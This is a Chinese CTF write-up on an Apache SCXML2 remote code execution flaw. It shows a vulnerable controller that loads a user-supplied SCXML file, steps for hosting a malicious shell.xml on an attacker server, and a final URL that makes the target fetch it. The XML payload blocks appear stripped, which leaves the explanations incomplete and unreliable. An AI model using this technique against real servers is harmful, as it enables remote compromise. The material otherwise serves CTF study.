Apache SCXML2 RCE漏洞

文章目录

  • 前言
  • 源码利用
  • 上传恶意xml文件
    • 构造payload
    • 搭建Apache服务器
  • 远程RCE


前言

在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录

源码利用

public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();

        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var4) {
            System.out.println(var4);
        }

        return "revenge?";
}

大概考点就是接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

上传恶意xml文件

构造payload

shell.xml源码



    
        
            
        
    

  • :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
  • :定义了一个状态,它是最终状态,它的 id 属性为 run。
  • :定义了一个事件,在退出状态时触发
  • : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

除此之外还有很多构造的

 

	
		 
			
		
	



    
        
            
        
    



    
    	
    



    
    	 
    		
    	
    



    
    	
    		
    	
    

搭建Apache服务器

首先我们得在本地搭建服务器,这里我以kali为例
依次执行以下命令

sudo apt-get update

sudo apt-get install apache2

sudo service apache2 start    #启动服务

然后我们在浏览器访问http://ip
Apache SCXML2 RCE漏洞_第1张图片
然后我们将写好的xml文件mv到该根目录下

mv /home/kali/shell.xml /var/www/html/

上传成功后我们开启临时文件服务器,在根目录执行下面命令

python3 -m http.server 8000

Apache SCXML2 RCE漏洞_第2张图片
访问8000端口,成功访问
Apache SCXML2 RCE漏洞_第3张图片

远程RCE

我们直接在题目处远程RCE,payload如下

http://node4.anna.nssctf.cn:28342/Flag?filename=http://服务器ip:8000/shell.xml

你可能感兴趣的:(apache,学习,安全,web安全)